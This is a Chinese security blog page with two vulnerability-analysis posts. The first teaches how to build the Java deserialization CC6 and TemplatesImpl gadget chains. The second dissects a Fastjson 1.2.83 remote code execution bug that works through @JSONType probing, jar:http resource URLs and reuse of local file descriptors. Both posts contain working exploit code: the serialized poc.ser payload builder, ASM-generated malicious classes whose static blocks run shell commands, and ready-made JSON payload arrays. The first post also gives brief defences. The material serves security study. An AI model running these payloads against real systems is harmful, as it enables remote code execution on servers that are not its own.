Capable

Change's a good thing


  • 首页

  • 分类

  • 关于

  • 归档

  • 标签

  • 站点地图

  • 公益404

  • 搜索

Java 反序列化 Gadget 链入门

发表于 2026-07-24 | 分类于 Java基础 , 漏洞分析 |

Java 反序列化 Gadget 链入门

《Java基础》 里讲过序列化与反序列化:对象 → 字节流 → 还原对象。理解到这一步之后,大多数人都会卡在同一个地方——readObject() 明明只是把对象还原出来,凭什么就能执行命令?

本文用一个认知转变开头,然后从零把一条最简单的 gadget 链(CC6)逐层拼起来。拼完这条链,你对”反序列化 RCE”的理解就过关了。

先说结论:gadget 链 = 用目标上现成的类,把”反序列化自动触发的方法”接成一条通向危险方法的调用链。


一、先想通一件事:payload 里没有代码

反序列化漏洞最反直觉的地方在于:攻击者发送的字节流里,一行代码都没有。

攻击者发送:序列化后的对象图描述(只有类名 + 字段名 + 字段值)
目标执行:readObject() 用【目标自己 classpath 上的类】把这些对象 new 出来

真正”执行代码”的是目标上已有的类。攻击者只做了一件事:设计这张对象图,让”还原对象的过程”被迫调用一串方法,最终落进一个危险方法。

类比:payload 不是炸弹,而是”多米诺骨牌怎么摆”的说明书。牌是目标上现成的类,摆法由攻击者决定,readObject() 就是推倒第一张牌的那只手。


二、为什么”还原对象”会调用方法

这不是漏洞行为,是 Java 集合类的固有设计。反序列化时,集合类要重建自己的内部结构,必然会调用里面对象的某些方法:

类 readObject 时自动做的事 触发的方法
HashMap 重新 put 所有条目 key.hashCode()
HashSet 重新 add 元素 key.hashCode()
PriorityQueue 重建堆 comparator.compare(a, b)
TreeMap 重建红黑树 key.compareTo()

所以只要让 key / comparator 是一个”被精心设计的对象”,反序列化那一刻就会自动触发它的 hashCode() / compareTo() —— 这就是整个攻击的入口。


三、三个名词:Sink / Gadget / Chain

名词 含义 例子
Sink(落点) 真正危险的方法 Runtime.exec、Method.invoke、TemplatesImpl.newTransformer
Gadget(小工具) 目标 classpath 上某个类,被调用时产生攻击者有用的动作(通常是”再调下一个方法”) InvokerTransformer、LazyMap、TiedMapEntry
Gadget Chain(链) 从 readObject 自动触发的方法,一步步级联到 Sink 的完整调用序列 CC1 / CC6 / CC3 等

gadget 英文原意是”小装置”,安全圈借指”攻击链里一段可利用的代码/类”。理解它的关键:每一块 gadget 都不知道自己在被用来攻击——它只是一个”被调用就干活”的普通类,单独看完全无害,拼起来就是 RCE。


四、第一个 gadget:InvokerTransformer

org.apache.commons.collections.functors.InvokerTransformer(commons-collections 3.x)的 transform(Object) 方法,可以反射调用任意对象上的任意方法:

InvokerTransformer t = new InvokerTransformer(
    "exec",                          // 要调用的方法名
    new Class[]{String.class},       // 方法参数类型
    new Object[]{"calc"});           // 方法参数值

t.transform(Runtime.getRuntime());   // 等价于 Runtime.getRuntime().exec("calc")

它就是整条链的”引擎”:任何一次 transform(x) 调用,都会变成”在 x 上反射调用任意方法”。这一步把”无害的 transform”和”危险的方法调用”焊在了一起。


五、把多个 gadget 串起来:ChainedTransformer

ChainedTransformer.transform(obj) 会依次调用数组里每个 transformer 的 transform(obj):

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),                  // 1. 返回 Runtime.class(不变)
    new InvokerTransformer("getMethod",                      // 2. 反射拿 getRuntime 方法
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke",                         // 3. 反射调用 getRuntime() → 实例
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec",                           // 4. 反射调用 exec("calc")
        new Class[]{String.class},
        new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
chain.transform(null);   // 依次执行 1→2→3→4 → Runtime.getRuntime().exec("calc")

为什么不直接 new InvokerTransformer("exec", ...) 一步到位?因为 Runtime 构造方法是私有的,必须先反射 getMethod("getRuntime") 拿到方法、再 invoke 得到实例,最后才能 exec。这就是 payload 里常见”getMethod → invoke → exec”三段式的原因。

image-20260810092032949

到这里,”有 transform() 调用 → 就执行命令”已经成立。现在的问题是:反序列化时,谁会去调 transform()?


六、谁来触发 transform:LazyMap

6.1 LazyMap 的”懒加载”特性

LazyMap(org.apache.commons.collections.map.LazyMap,commons-collections 3.x)是一个装饰器:它包住一个普通 Map,并带一个 factory。它对不存在的 key 不返回 null,而是用 factory.transform(key) 现算一个值并缓存——设计本意是”延迟初始化”(值比较贵、用到才生成):

// LazyMap 继承 AbstractMapDecorator,被装饰的 map 存在父类的 map 字段里,所以用 super.map 访问
public Object get(Object key) {
    if (!super.map.containsKey(key)) {                 // ① 内层 map 里没有这个 key
        Object value = this.factory.transform(key);    // ② 用 factory 现算一个值
        super.map.put(key, value);                     // ③ 算完存进缓存
        return value;
    } else {                                           // ④ 有 key 就直接返回缓存值
        return super.map.get(key);
    }
}

6.2 LazyMap.decorate(new HashMap(), chain) 做了什么

decorate 是 LazyMap 的静态工厂方法(构造器是 protected,只能走它):

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

所以 LazyMap.decorate(new HashMap(), chain) = new LazyMap(空 HashMap, chain),LazyMap 内部只存两样东西:

  • map:传入的空 HashMap(被装饰的内层容器);
  • factory:chain(那个 ChainedTransformer)。

于是”对空 map 调 get(任意不存在的 key)“就被改写成”执行整条 transformer 链”:

Map lazyMap = LazyMap.decorate(new HashMap(), chain);   // map=空HashMap, factory=chain
lazyMap.get("任何不存在的key");
// → containsKey == false → factory.transform("key")
// → chain.transform("key") → getMethod → invoke → exec → RCE!

关键:LazyMap 把”一次无害的 map.get(缺的 key)“变成”调用任意 factory.transform“,而 factory 是攻击者可控的 Transformer——这就是把”集合操作”改写成”执行链”的转换器。

现在链条推进到:LazyMap.get(key) → factory.transform(key) → ... → exec。

image-20260810093653867


七、反序列化入口:HashMap.readObject → hashCode → TiedMapEntry

还差最后一步:反序列化时,谁会调用 LazyMap.get()?

7.1 TiedMapEntry:hashCode 是入口

TiedMapEntry 是”绑定了一个 map 和 key”的条目,它实现 Map.Entry。它的 hashCode() 第一行就调用了 getValue()——钩子就在这里:

public int hashCode() {
    Object value = this.getValue();   // ← 第一行就调 getValue()
    return (this.getKey() == null ? 0 : this.getKey().hashCode())
           ^ (value == null ? 0 : value.hashCode());
}

而 getValue() 内部就是 map.get(key):

public Object getValue() {
    return map.get(key);   // ← 关键:调用了 LazyMap.get()
}

后半段的 key.hashCode() ^ value.hashCode() 只是让对象有一个合理的哈希值、方便被放进 HashMap,与攻击无关。真正的触发点在第一行的 getValue()。

7.2 HashMap.readObject:反序列化时自动调 hashCode

HashMap.readObject() 重建条目时会对每个 key 调 hashCode()(见第二节):

// HashMap.readObject 内部(简化)
for (int i = 0; i < mappings; i++) {
    K key = (K) s.readObject();
    putVal(hash(key), key, value, false, false);   // hash(key) 会调 key.hashCode()
}

所以让 HashMap 的 key 是那个 TiedMapEntry,反序列化就自动触发整条链:

TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
// 反序列化时:HashMap.readObject → key.hashCode() → getValue() → lazyMap.get("key") → chain.transform → RCE
HashMap.readObject()
  → hash(key) → key.hashCode()        ← key = TiedMapEntry
  → TiedMapEntry.hashCode()
  → getValue() → LazyMap.get(key)     ← 命中 6.2 的 factory.transform
  → chain.transform() → RCE

八、完整链(CC6)拼起来

HashMap.readObject()                          ← 入口(集合固有行为)
  → hash(key) → key.hashCode()                ← key = TiedMapEntry
  → TiedMapEntry.hashCode()
  → this.map.get(key)                         ← map = LazyMap
  → LazyMap.get(key)
  → !containsKey(key) → factory.transform()   ← factory = ChainedTransformer
  → ChainedTransformer.transform()
  → InvokerTransformer.transform() × 3        ← getMethod → invoke → exec
  → Runtime.getRuntime().exec("calc")         ← Sink:RCE

8.1 先手工验证:证明链本身是通的

// 不经过反序列化,直接手工构造并触发 —— 链通的话会弹出 calc
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec",
        new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
entry.hashCode();   // ← 触发点,等价于整条链

这一步很重要:先证明”手工触发能通”,再谈反序列化触发。把整条链拆成”触发点方法调用” + “触发源是谁”,是理解所有链的通用方法。

image-20260810093854378

8.2 再封装成真正的反序列化 payload

⚠️ 先抄这个辅助方法:下面主代码用到的 setFieldValue 是自定义方法

// 辅助方法:反射修改 ChainedTransformer 的私有字段 iTransformers
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
    Field f = obj.getClass().getDeclaredField(name);
    f.setAccessible(true);
    f.set(obj, value);
}
// 两个关键细节:
// ① 构造链时先用无害占位 transformer,避免本地构造阶段就触发 exec
ChainedTransformer chain = new ChainedTransformer(
    new Transformer[]{new ConstantTransformer(1)});

Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

// ② 外层 HashMap:readObject 时会调 entry.hashCode()
Map expMap = new HashMap();
expMap.put(entry, "value");
lazyMap.remove("key");   // ★ put 时 LazyMap 已经把 key 加进去了,
                         //   必须移除,否则反序列化时 key 已存在、不会触发 transform

// ③ 最后把真正的链换进去(反射),再序列化
setFieldValue(chain, "iTransformers", transformers);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("poc.ser"));
oos.writeObject(expMap);
// 目标端:一句 readObject 就 RCE
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("poc.ser"));
ois.readObject();   // ← 弹出计算器

这段代码就是 ysoserial 里 CommonsCollections6 的手写简化版。LazyMap/TiedMapEntry/ChainedTransformer 全部来自 commons-collections 3.2.1(Shiro 1.2.4 等老框架自带)。

image

九、另一个更强的 sink:TemplatesImpl(加载任意字节码)

CC6 依赖 commons-collections。而 TemplatesImpl 是 JDK 自带的,并且能干更狠的事——加载攻击者提供的任意字节码,不要求目标 classpath 上存在这个类。

9.1 它本来是干嘛的(XSLT 编译器)

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 是 JDK 里 Xalan XSLT 处理器的核心类:负责把 XSLT 样式表编译成字节码(translet 类)并缓存,供 XML 转换使用。它内部用一个自定义 ClassLoader 把”字节数组里的类”加载进 JVM。

攻击点:它要加载的类字节码存在私有字段 _bytecodes 里,而 Java 反序列化会原样恢复私有字段——攻击者把 _bytecodes 填成恶意类的字节码,再让链触发 newTransformer(),就加载并执行了攻击者的类。

9.2 利用要设置的三个字段

字段 类型 作用 利用时的值
_bytecodes byte[][] 要加载的类字节码(可多个) new byte[][]{恶意类字节码}
_name String translet 类名 任意非 null 字符串(为 null 会抛异常)
_tfactory TransformerFactoryImpl 加载时要用(见 9.3) new TransformerFactoryImpl()
// setFieldValue 同 8.2 的自定义辅助方法(需自己实现,且 import java.lang.reflect.Field)
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{恶意类的字节码});
setFieldValue(templates, "_name", "Evil");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

9.3 加载流程:newTransformer → getTransletInstance → defineTransletClasses

templates.newTransformer()
  → getTransletInstance()
  │    ├─ 检查 _name != null(否则抛异常)
  │    ├─ if (_class == null) defineTransletClasses()   ← 第一次调用才加载
  │    └─ _translet = _class[i].newInstance()            ← 实例化 → 静态块触发!
  → defineTransletClasses()
       ├─ 用 _tfactory.getExternalExtensionsMap() 确保内部类加载器可用
       ├─ loader = new TransletClassLoader(...)          ← TemplatesImpl 内部自带的 ClassLoader
       └─ 逐个 _class[i] = loader.defineClass(_bytecodes[i])   ← 直接加载攻击者的字节码

关键点:加载用的是 TemplatesImpl 内部自带的 TransletClassLoader(重写了 defineClass),字节码直接来自 _bytecodes 数组、不经过 classpath——这就是”加载任意字节码”的含义。

9.4 恶意类必须继承 AbstractTranslet

getTransletInstance() 会把加载的类强转成 AbstractTranslet 再 newInstance(),所以恶意类必须继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,并实现它的两个抽象 transform 方法(空实现即可)。命令写在静态块里——类被实例化时触发 <clinit> 执行:

public class Evil extends AbstractTranslet {
    static {
        Runtime.getRuntime().exec("open -a Calculator");   // ← 命令在这里
    }
    @Override public void transform(DOM d, SerializationHandler[] h) {}
    @Override public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) {}
}

9.5 恶意字节码从哪来:手动 vs 自动化

字节码是 CA FE BA BE... 的二进制,人没法手写。两种造法:

  • 手动(理解原理用):写上面的 Evil.java → javac 编译 → 读 Evil.class 的字节塞进 _bytecodes;
  • 自动化(实战用):用 javassist 在内存里替你完成”写类 + 编译 + 拿字节”,只需传一条命令字符串。
// 等价于"手动写 Evil.java + javac + 读字节"三步,全自动
TemplatesImpl templates = ExploitUtil.createTemplatesImpl("open -a Calculator");

这就是无文件注入里”恶意类不在目标 classpath 也能执行”的原因——字节码是攻击者生成的,加载由 TemplatesImpl 内部完成。

9.6 在链里怎么触发:TrAXFilter 构造

newTransformer() 是 public 无参方法,但它自己不会凭空执行——在链里通常由 InstantiateTransformer 构造一个 TrAXFilter 来触发,因为 TrAXFilter 的构造方法里会调 templates.newTransformer():

InstantiateTransformer(TrAXFilter.class, [Templates.class], [templates])
  → new TrAXFilter(templates)
  → TrAXFilter 构造方法里调 templates.newTransformer()   ← 触发点
  → 进入 9.3 的加载流程 → RCE

9.7 为什么它”万能”

  1. JDK 自带,不依赖第三方库,通杀面大(Runtime.exec 那套还要 commons-collections 的 InvokerTransformer);
  2. 能加载任意字节码 → 不只是执行一条命令,可以加载内存马注入类等任意代码——《反序列化与 JNDI 无文件注入内存马》 里把”注入类”送进 JVM,就是靠它(Shiro 的 CC2 / CC3 / CommonsBeanutils1 都用 TemplatesImpl)。

9.8 入口 × sink:一份配方表

TemplatesImpl 只是一个 sink,配上不同的入口就组成不同的链:

入口(谁触发) 中间 sink = 字节码加载 链名
HashMap → TiedMapEntry → LazyMap ChainedTransformer TrAXFilter → TemplatesImpl CC3
PriorityQueue → TransformingComparator InvokerTransformer("newTransformer") TemplatesImpl CC2
PriorityQueue → BeanComparator PropertyUtils.getProperty TemplatesImpl CB1

对比入口为 exec 的链:HashMap → TiedMapEntry → LazyMap + Runtime.exec = CC6。

反序列化链 = 入口 × sink 的排列组合:入口解决”readObject 会自动调哪个方法”,sink 解决”最后一环干什么”。看懂这两件事,所有链都是同一张配方表。

常见 Sink 一览

Sink 作用 依赖 典型触发
Runtime.exec 执行命令 JDK 反射调用
InvokerTransformer 反射调用任意方法 commons-collections transform()
TemplatesImpl.newTransformer 加载任意字节码 JDK TrAXFilter 构造 / 方法调用
JdbcRowSetImpl.setAutoCommit 触发 JNDI lookup JDK Fastjson setter 调用

后两个都是 JDK 自带,所以才会在 Fastjson(JdbcRowSetImpl)、Shiro(TemplatesImpl)里反复出现——见《Fastjson反序列化漏洞深度剖析》。


十、gadget 从哪来 + 怎么找链

  • gadget 是目标 classpath 上的现有类。同一个目标上,commons-collections、commons-beanutils、c3p0、以及 JDK 自带类(TemplatesImpl、JdbcRowSetImpl)都可能当 gadget;
  • 找链 = 从入口到 sink 找一条调用路径。ysoserial 已经把常用链写好了(CommonsCollections1/2/6、CommonsBeanutils1、JRMPClient 等),你可以直接借鉴思路;
  • 实战先摸依赖:find . -name "commons-collections*.jar" -o -name "commons-beanutils*.jar",再决定用哪条链。

十一、验证 / 调试一条链

  1. 先手工触发(如 8.1),确认链本身通不通;
  2. 序列化 payload,在独立沙箱里 readObject() 验证,别在真实目标上试;
  3. 打日志 / 断点观察方法调用顺序,对照预期链,找到卡在哪一环。

十二、检测与防御

层面 措施
入口 不反序列化不可信数据;用 JSON 等安全格式替代
过滤 ObjectInputFilter(JDK 9+)做白名单,禁止反序列化 gadget 类
依赖 升级 commons-collections 到 3.2.2+(默认禁用 InvokerTransformer 反序列化)
组件 Shiro 换随机密钥、Fastjson 开 SafeMode(见对应文章)

总结

一句话:gadget 链 = 用目标上现成的类,把”反序列化自动触发的方法”接成一条通向危险方法的调用链。

把四个认知串起来:

  1. payload 没有代码,只有对象图——执行代码的是目标上的类;
  2. readObject 还原对象时会自动调 hashCode / compareTo 等方法(入口);
  3. 每个 gadget 是”被调用就产生有用动作”的普通类(跳板);
  4. 从入口一路级联到 Runtime.exec 或 TemplatesImpl(落点)。

建议动手做一遍:把第八节的代码跑通,从”手工触发”到”反序列化触发”,这条链你就彻底拿下了。

延伸阅读:《Java基础》 的序列化章节 《Fastjson反序列化漏洞深度剖析》 《反序列化与 JNDI 无文件注入内存马》 《内存马原理总纲》
阅读全文 »

Fastjson 1.2.83 @JSONType 探测路径 RCE 深度分析

发表于 2026-07-22 | 分类于 Java安全 , 漏洞分析 |

Fastjson 1.2.83 @JSONType 探测路径 RCE 深度分析

Fastjson 的历史漏洞大多围绕 AutoType 和 gadget 展开:攻击者控制 @type,Fastjson 加载目标类,再借助 JDK 或第三方库里的危险行为完成利用。

Fastjson 1.2.83 这一类问题更值得单独拿出来分析。它并不依赖传统 gadget,也不要求业务 classpath 上提前存在可利用类。漏洞核心是 checkAutoType() 中一段 @JSONType 注解探测逻辑:Fastjson 把用户可控的 @type 先转换成资源路径,再交给 ClassLoader 读取。

这个边界一旦被打穿,@type 就不再只是 Java 类名,而可以变成 jar:http://...、jar:file:/... 这样的资源 URL。


1. 漏洞入口:不可信 JSON 进入 JSON.parse

典型危险入口非常朴素:

@PostMapping("/api/data")
public Map<String, Object> handle(@RequestBody String body) {
    Object obj = JSON.parse(body);
    return Map.of("data", String.valueOf(obj));
}

只要外部用户能控制 body,就能控制 JSON 中的 @type。在 Fastjson 1.x 里,@type 会进入 ParserConfig#checkAutoType()。

如果应用没有开启 SafeMode,Fastjson 会继续执行 AutoType 相关检查。注意,这里的“AutoType 相关检查”不等于 autoTypeSupport=true。即使 AutoType 默认关闭,某些探测分支仍然会执行。


2. 根因:@type 被当作资源路径

问题出在 checkAutoType() 中的 @JSONType 探测。简化后的逻辑大致如下:

boolean jsonType = false;
InputStream is = null;

try {
    String resource = typeName.replace('.', '/') + ".class";

    if (defaultClassLoader != null) {
        is = defaultClassLoader.getResourceAsStream(resource);
    } else {
        is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
    }

    if (is != null) {
        ClassReader reader = new ClassReader(is, true);
        TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
        reader.accept(visitor);
        jsonType = visitor.hasJsonType();
    }
} finally {
    IOUtils.close(is);
}

这段代码原本要解决的是一个正常需求:

com.example.User -> com/example/User.class

Fastjson 读取 class 字节码,检查类上是否存在 @JSONType 注解。

危险点在于:typeName 来自用户控制的 @type,但进入 replace('.', '/') 前没有被严格限制为合法 Java 类名。

于是攻击者可以让 typeName 看起来像类名,转换后却变成 URL:

原始 @type:
jar:http:..2130706433:19090.probe!.foo.Exception

replace 后:
jar:http://2130706433:19090/probe!/foo/Exception.class

2130706433 是 127.0.0.1 的整数形式。这里不用点分 IP,是因为 . 会被替换成 /。


3. 为什么 @JSONType 能绕过默认关闭的 AutoType

继续看 checkAutoType() 后续逻辑,核心判断可以抽象为:

if (autoTypeSupport || jsonType || expectClassFlag) {
    boolean cacheClass = autoTypeSupport || jsonType;
    Class<?> clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);

    if (clazz != null) {
        if (jsonType) {
            TypeUtils.addMapping(typeName, clazz);
            return clazz;
        }
        // 后续还有 expectClass、黑名单等检查
    }
}

autoTypeSupport 默认是 false,但 jsonType 是通过前面的 ASM 字节码扫描得到的。

只要远程 class 文件里有:

@JSONType
public class Exception {
}

visitor.hasJsonType() 就可能返回 true,进而进入 TypeUtils.loadClass()。这就是“无需开启 AutoType”的关键。

实际 PoC 通常不用 Java 源码直接编译,因为普通 Java 源码无法声明这种特殊 internal name。它会用 ASM 生成字节码:

ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);

String internalName = "jar:http://2130706433:19090/probe!/foo/Exception";
cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, internalName, null, "java/lang/Object", null);
cw.visitAnnotation("Lcom/alibaba/fastjson/annotation/JSONType;", true).visitEnd();

然后把生成的 class 放进 JAR:

try (JarOutputStream jos = new JarOutputStream(new FileOutputStream("probe.jar"))) {
    jos.putNextEntry(new JarEntry("foo/Exception.class"));
    jos.write(cw.toByteArray());
    jos.closeEntry();
}

注意:JAR entry 是正常路径 foo/Exception.class,但 class 文件内部的 this_class 是特殊名字 jar:http://.../foo/Exception。


4. 从资源读取到类加载

Fastjson 先用 getResourceAsStream() 读取字节码,再用 TypeUtils.loadClass() 加载类型。

TypeUtils.loadClass() 的核心路径大致是:

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
    try {
        if (classLoader != null) {
            Class<?> clazz = classLoader.loadClass(className);
            if (cache) {
                mappings.put(className, clazz);
            }
            return clazz;
        }
    } catch (Throwable ignored) {
    }

    try {
        ClassLoader contextLoader = Thread.currentThread().getContextClassLoader();
        if (contextLoader != null && contextLoader != classLoader) {
            Class<?> clazz = contextLoader.loadClass(className);
            if (cache) {
                mappings.put(className, clazz);
            }
            return clazz;
        }
    } catch (Throwable ignored) {
    }

    try {
        return Class.forName(className);
    } catch (Throwable ignored) {
        return null;
    }
}

在 Spring Boot fat jar 场景下,应用通常由 Boot Loader 启动。Manifest 里常见入口是:

Main-Class: org.springframework.boot.loader.JarLauncher
Start-Class: com.example.Application

这意味着真正负责加载应用类和依赖的不是普通 classpath,而是 Spring Boot 的 loader 体系。这个 ClassLoader 对 jar: URL 资源的处理,是整条利用链成立的重要条件。


5. JDK 8:为什么可以直接 RCE

JDK 8 上,直接使用 jar:http://... 的链路往往可以走到 defineClass()。

调用链可抽象为:

JSON.parse(body)
  -> checkAutoType(typeName)
  -> getResourceAsStream("jar:http://.../probe!/foo/Exception.class")
  -> 远程 JAR 下载
  -> ASM 扫描 @JSONType
  -> TypeUtils.loadClass(typeName)
  -> ClassLoader.loadClass(typeName)
  -> defineClass(typeName, bytes)
  -> <clinit>

如果恶意 class 带静态初始化块:

static {
    Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "touch /tmp/fastjson_rce"});
}

类初始化时就会执行。

JDK 8 的关键特征是:类名合法性校验没有高版本那么严格,jar:http://... 这种带 URL 痕迹的名字更容易通过。


6. JDK 9+:直接 jar:http 为什么失败

JDK 9 以后,类名校验更严格。

直接定义下面这样的类名:

jar:http://127.0.0.1:19090/probe!/foo/Exception

容易因为 // 形成空路径段而失败。常见现象是:

java.lang.NoClassDefFoundError
java.lang.ClassFormatError: Illegal class name

这说明远程 JAR 可能已经被读取,但类定义被 JVM 拒绝了。

到这里为止,很多人会误判为“高版本 JDK 不可利用”。但实际上,第一次 jar:http 读取已经留下了一个可继续利用的副作用。


7. 高版本绕过:从远程 URL 切到本地 fd

JVM 处理 JarURLConnection 时,可能把远程 JAR 缓存到本地临时文件,并保持文件描述符打开。

在 Linux 和 macOS 上,进程打开的 fd 可以通过文件系统路径访问:

Linux: /proc/self/fd/N
macOS: /dev/fd/N

所以高版本 JDK 的思路变成两段:

Step 1: jar:http://.../probe
        触发远程 JAR 下载,让 JVM 缓存并保持 fd 打开

Step 2: jar:file:/dev/fd/N!/fdN/Exception.class
        或 jar:file:/proc/self/fd/N!/fdN/Exception.class
        从本地 fd 重新打开同一个 JAR

为什么必须是 file:/dev/fd/N,而不是 file:///dev/fd/N?

因为 file:/// 最终会把连续斜杠带进类名:

jar:file:///dev/fd/17!/fd17/Exception

高版本 JDK 会拒绝这种名字。

而单斜杠形式:

jar:file:/dev/fd/17!/fd17/Exception

在 Java URL 语义上仍然能表示本地文件,但类名里不会出现连续 //,更容易通过 JDK 9+ 的类名校验。


8. 一个通用化实现大概长什么样

高版本适配的关键是生成多个 fd 对应的 class。每个 class 的 internal name 必须和 payload 完全匹配。

8.1 生成 seed class

seed class 只负责触发远程下载,不需要 @JSONType,也不需要静态块:

byte[] seedClass() {
    ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
    cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, "foo/Exception", null, "java/lang/Object", null);
    // no @JSONType, no <clinit>
    cw.visitEnd();
    return cw.toByteArray();
}

对应 payload:

{"@type":"jar:http:..2130706433:19090.probe!.foo.Exception"}

8.2 为每个 fd 生成 RCE class

macOS:

String internalName = "jar:file:/dev/fd/" + fd + "!/fd" + fd + "/Exception";

Linux:

String internalName = "jar:file:/proc/self/fd/" + fd + "!/fd" + fd + "/Exception";

字节码里加入 @JSONType 和静态块:

ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, internalName, null, "java/lang/Object", null);
cw.visitAnnotation("Lcom/alibaba/fastjson/annotation/JSONType;", true).visitEnd();

MethodVisitor clinit = cw.visitMethod(Opcodes.ACC_STATIC, "<clinit>", "()V", null, null);
clinit.visitCode();
// Runtime.getRuntime().exec(...)
clinit.visitInsn(Opcodes.RETURN);
clinit.visitEnd();

JAR 里的 entry 则是正常路径:

jos.putNextEntry(new JarEntry("fd" + fd + "/Exception.class"));
jos.write(bytes);
jos.closeEntry();

8.3 JSON 数组一次完成缓存和枚举

Fastjson 会按顺序解析数组元素,因此可以把 seed 和 fd 枚举放在一个请求中:

[
  {"@type":"jar:http:..2130706433:19090.probe!.foo.Exception"},
  {"@type":"jar:file:.dev.fd.10!.fd10.Exception"},
  {"@type":"jar:file:.dev.fd.11!.fd11.Exception"},
  {"@type":"jar:file:.dev.fd.12!.fd12.Exception"}
]

第一个元素触发下载缓存,后面的元素尝试打开不同 fd。命中 fd 时,getResourceAsStream() 能读到对应 class,@JSONType 探测通过,loadClass() 定义类,最终触发 <clinit>。


9. .Exception 后缀为什么重要

checkAutoType() 后半段有一个容易被忽略的容错分支:

if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
    return null;
}

throw new JSONException("autoType is not support. " + typeName);

这意味着候选 fd 没命中时,Fastjson 不一定会立刻抛异常中断整个数组解析。

这对 fd 枚举非常重要:

fd10 miss -> 返回 null,继续
fd11 miss -> 返回 null,继续
fd12 hit  -> 类加载成功

如果没有 .Exception / .Error 后缀,前面的 miss 很可能直接中断解析,后面的 fd 根本没有机会被尝试。


10. JDK 与操作系统差异

可以把不同环境下的行为概括成这张表:

环境 直接 jar:http fd 重绑定 最终效果
JDK 8 + Linux 可行 不需要 RCE
JDK 8 + macOS 可行 不需要 RCE
JDK 8 + Windows 可行 不需要 RCE
JDK 9+ + Linux 类定义常失败 /proc/self/fd/N RCE
JDK 9+ + macOS 类定义常失败 /dev/fd/N RCE
JDK 9+ + Windows 类定义常失败 缺少等价 fd 路径 通常只有 SSRF

所以“JDK 8 到 JDK 25 都能打”的准确含义是:

  • JDK 8:靠宽松类名直接完成
  • JDK 9+:靠本地 fd 重绑定绕开类名限制
  • Linux/macOS:提供 fd 文件系统入口
  • Windows:高版本下通常缺少同等 fd 重绑定条件

11. WAR 包部署时的差异

很多分析会把结论简化成“Spring Boot fat jar 可打,WAR 不可打”。这个说法太粗。

真正要看的是 ClassLoader。

11.1 Spring Boot fat jar

fat jar 通过:

java -jar app.jar

启动时,入口通常是:

Main-Class: org.springframework.boot.loader.JarLauncher
Start-Class: com.example.Application

这种部署下,应用类和依赖位于:

BOOT-INF/classes
BOOT-INF/lib

Spring Boot Loader 会用自己的 ClassLoader 处理嵌套 JAR。本文讨论的 jar:http 资源探测链,最典型就是出现在这种环境里。

11.2 Spring Boot 可执行 WAR

可执行 WAR 虽然后缀是 .war,但仍然可以:

java -jar app.war

这类部署依然会经过 Spring Boot Loader。它和 fat jar 的差异主要在打包布局和 servlet initializer 上,而不是“是否由 Boot Loader 接管”。

所以,可执行 WAR 不能简单认为安全。只要 ClassLoader 行为接近 fat jar,链路就仍然需要验证。

11.3 传统 WAR

传统 WAR 是把应用丢到外部 Tomcat、Jetty、WebLogic 等容器中。

这时应用类和依赖通常来自:

WEB-INF/classes
WEB-INF/lib/*.jar

ClassLoader 变成容器的 WebApp ClassLoader,例如 Tomcat 的 WebappClassLoader 体系。

差异点有三个:

  1. 资源查找实现不同
    传统容器更偏向从 Web 应用资源根、WEB-INF/classes、WEB-INF/lib 中找资源,不一定会像 Boot Loader 那样处理嵌套 JAR 和特殊 jar: URL。

  2. ParserConfig.class.getClassLoader() 不同
    fat jar 中通常是 Boot Loader;传统 WAR 中通常是 WebApp ClassLoader。

  3. fd 缓存副作用不一定出现
    如果第一步 jar:http 资源读取没有走到 JarURLConnection 下载缓存,后续 /dev/fd 或 /proc/self/fd 就没有基础。

因此,传统 WAR 下漏洞根因仍然存在,但不能直接套用 fat jar payload。需要针对具体容器验证:

ClassLoader cl = ParserConfig.class.getClassLoader();
System.out.println(cl);

InputStream is = cl.getResourceAsStream("jar:http://host/probe!/foo/Exception.class");
System.out.println(is);

如果这里压根拿不到远程资源,后面的 RCE 链就不会成立。如果能触发 HTTP 请求,还要继续确认是否产生可复用 fd,以及容器 ClassLoader 是否允许后续类定义。

11.4 WAR 部署结论

部署方式 ClassLoader 特征 风险判断
Spring Boot fat jar Boot Loader / 嵌套 JAR 高风险,典型利用场景
Spring Boot executable war 仍由 Boot Loader 启动 需按 fat jar 视角验证
传统 WAR + 外部容器 容器 WebApp ClassLoader 根因存在,但 PoC 需适配

12. 利用条件总结

完整 RCE 通常需要同时满足:

